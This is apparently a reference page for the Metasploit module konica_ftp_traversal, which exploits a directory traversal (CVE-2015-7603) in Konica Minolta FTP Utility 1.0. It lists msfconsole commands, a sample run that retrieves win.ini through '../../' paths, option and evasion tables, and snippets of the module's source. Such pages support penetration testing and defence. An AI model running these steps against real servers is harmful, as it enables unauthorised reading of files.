Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/ftp/konica_ftp_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
Module: auxiliary/scanner/ftp/konica_ftp_traversal
Source code: modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
Disclosure date: 2015-09-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2015-7603
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '..//'
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/ftp/konica_ftp_traversal
msf auxiliary(konica_ftp_traversal) > show options
... show and set options ...
msf auxiliary(konica_ftp_traversal) > set RHOSTS ip-range
msf auxiliary(konica_ftp_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(konica_ftp_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(konica_ftp_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(konica_ftp_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR
command that includes file system traversal strings such as ..//
.
Link to Konica Minolta FTP Utility 1.00 software download Exploit-DB
Verification Steps
- Start msfconsole
- Do:
use modules/auxiliary/scanner/ftp/konica_ftp_traversal
- Do:
set RHOSTS [ip]
- Do:
run
Scenarios
Konica Minolta FTP Utility 1.00 on Windows 7 (X64)
msf > use modules/auxiliary/scanner/ftp/konica_ftp_traversal
msf auxiliary(scanner/ftp/konica_ftp_traversal) > set RHOSTS 1.1.1.1
RHOSTS => 1.1.1.1
set PATH ../../WINDOWS/win.ini
PATH => ../../WINDOWS/win.ini
msf auxiliary(scanner/ftp/konica_ftp_traversal) > run
[+] 1.1.1.1:21 - Stored ../../WINDOWS/win.ini to /root/.msf4/loot/20191122042114_default_1.1.1.1_konica.ftp.data_003802.ini
[*] 1.1.1.1:21 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/ftp/konica_ftp_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/ftp/konica_ftp_traversal
msf6 auxiliary(scanner/ftp/konica_ftp_traversal) > show info
Name: Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
Module: auxiliary/scanner/ftp/konica_ftp_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-09-22
Provided by:
Jay Turla
James Fitts
Brad Wolfe <[email protected]>
shinnai
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 32 yes Traversal Depth (to reach the root folder)
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
PATH boot.ini yes Path to the file to disclose, relative to the root dir.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module exploits a directory traversal vulnerability found in
Konica Minolta FTP Utility 1.0. This vulnerability allows an
attacker to download arbitrary files from the server by crafting a
RETR command that includes file system traversal strings such as
'..//'
References:
https://www.exploit-db.com/exploits/38260
https://nvd.nist.gov/vuln/detail/CVE-2015-7603
http://shinnai.altervista.org/exploits/SH-0024-20150922.html
Module Options
This is a complete list of options available in the scanner/ftp/konica_ftp_traversal auxiliary module:
msf6 auxiliary(scanner/ftp/konica_ftp_traversal) > show options
Module options (auxiliary/scanner/ftp/konica_ftp_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 32 yes Traversal Depth (to reach the root folder)
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
PATH boot.ini yes Path to the file to disclose, relative to the root dir.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/ftp/konica_ftp_traversal auxiliary module:
msf6 auxiliary(scanner/ftp/konica_ftp_traversal) > show advanced
Module advanced options (auxiliary/scanner/ftp/konica_ftp_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
FTPDEBUG false no Whether or not to print verbose debug statements
FTPTimeout 16 yes The number of seconds to wait for a reply from an FTP command
PassiveMode false no Set true for extended passive (EPSV) ftp mode.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/ftp/konica_ftp_traversal module can do:
msf6 auxiliary(scanner/ftp/konica_ftp_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/ftp/konica_ftp_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/ftp/konica_ftp_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
data_connect failed; posssible invalid response
Here is a relevant code snippet related to the "data_connect failed; posssible invalid response" error message:
58: begin
59: # Login anonymously and open the socket that we'll use for data retrieval.
60: connect_login
61: sock = data_connect
62: if sock.nil?
63: error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
64: print_status(error_msg)
65: elog(error_msg)
66: else
67: file_path = datastore['PATH']
68: file = ::File.basename(file_path)
data_connect failed; posssible invalid response
Here is a relevant code snippet related to the "data_connect failed; posssible invalid response" error message:
72: res = send_cmd( ["RETR", retr_cmd])
73:
74: # read the file data from the socket that we opened
75: # dont assume theres still a sock to read from. Per #7582
76: if sock.nil?
77: error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
78: print_status(error_msg)
79: elog(error_msg)
80: return
81: else
82: # read the file data from the socket that we opened
<FILE_PATH> not found
Here is a relevant code snippet related to the "<FILE_PATH> not found" error message:
82: # read the file data from the socket that we opened
83: response_data = sock.read(1024)
84: end
85:
86: unless response_data
87: print_error("#{file_path} not found")
88: return
89: end
90:
91: if response_data.length == 0 or ! (res =~ /^150/ )
92: print_status("File (#{file_path})from #{peer} is empty...")
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7697 Merged Pull Request: Fix ftp traversal error conditions
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6233 Merged Pull Request: Add konica_ftp_traversal.rb (CVE-2015-7603)
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/ftp/anonymous
- auxiliary/scanner/ftp/bison_ftp_traversal
- auxiliary/scanner/ftp/colorado_ftp_traversal
- auxiliary/scanner/ftp/easy_file_sharing_ftp
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/ftp/ftp_version
- auxiliary/scanner/ftp/pcman_ftp_traversal
- auxiliary/scanner/ftp/titanftp_xcrc_traversal
- auxiliary/gather/konica_minolta_pwd_extract
- auxiliary/dos/windows/ftp/filezilla_admin_user
- auxiliary/dos/windows/ftp/filezilla_server_port
- auxiliary/dos/windows/ftp/guildftp_cwdlist
- auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof
- auxiliary/dos/windows/ftp/iis_list_exhaustion
- auxiliary/dos/windows/ftp/solarftp_user
- auxiliary/dos/windows/ftp/titan626_site
- auxiliary/dos/windows/ftp/vicftps50_list
- auxiliary/dos/windows/ftp/winftp230_nlst
- auxiliary/dos/windows/ftp/xmeasy560_nlst
- auxiliary/dos/windows/ftp/xmeasy570_nlst
- auxiliary/fuzzers/ftp/client_ftp
- auxiliary/fuzzers/ftp/ftp_pre_post
- auxiliary/scanner/http/titan_ftp_admin_pwd
- auxiliary/scanner/portscan/ftpbounce
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/ssh/cerberus_sftp_enumusers
- auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp
- auxiliary/scanner/tftp/netdecision_tftp
- auxiliary/scanner/tftp/tftpbrute
Authors
- Jay Turla
- James Fitts
- Brad Wolfe <brad.wolfe[at]gmail.com>
- shinnai
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.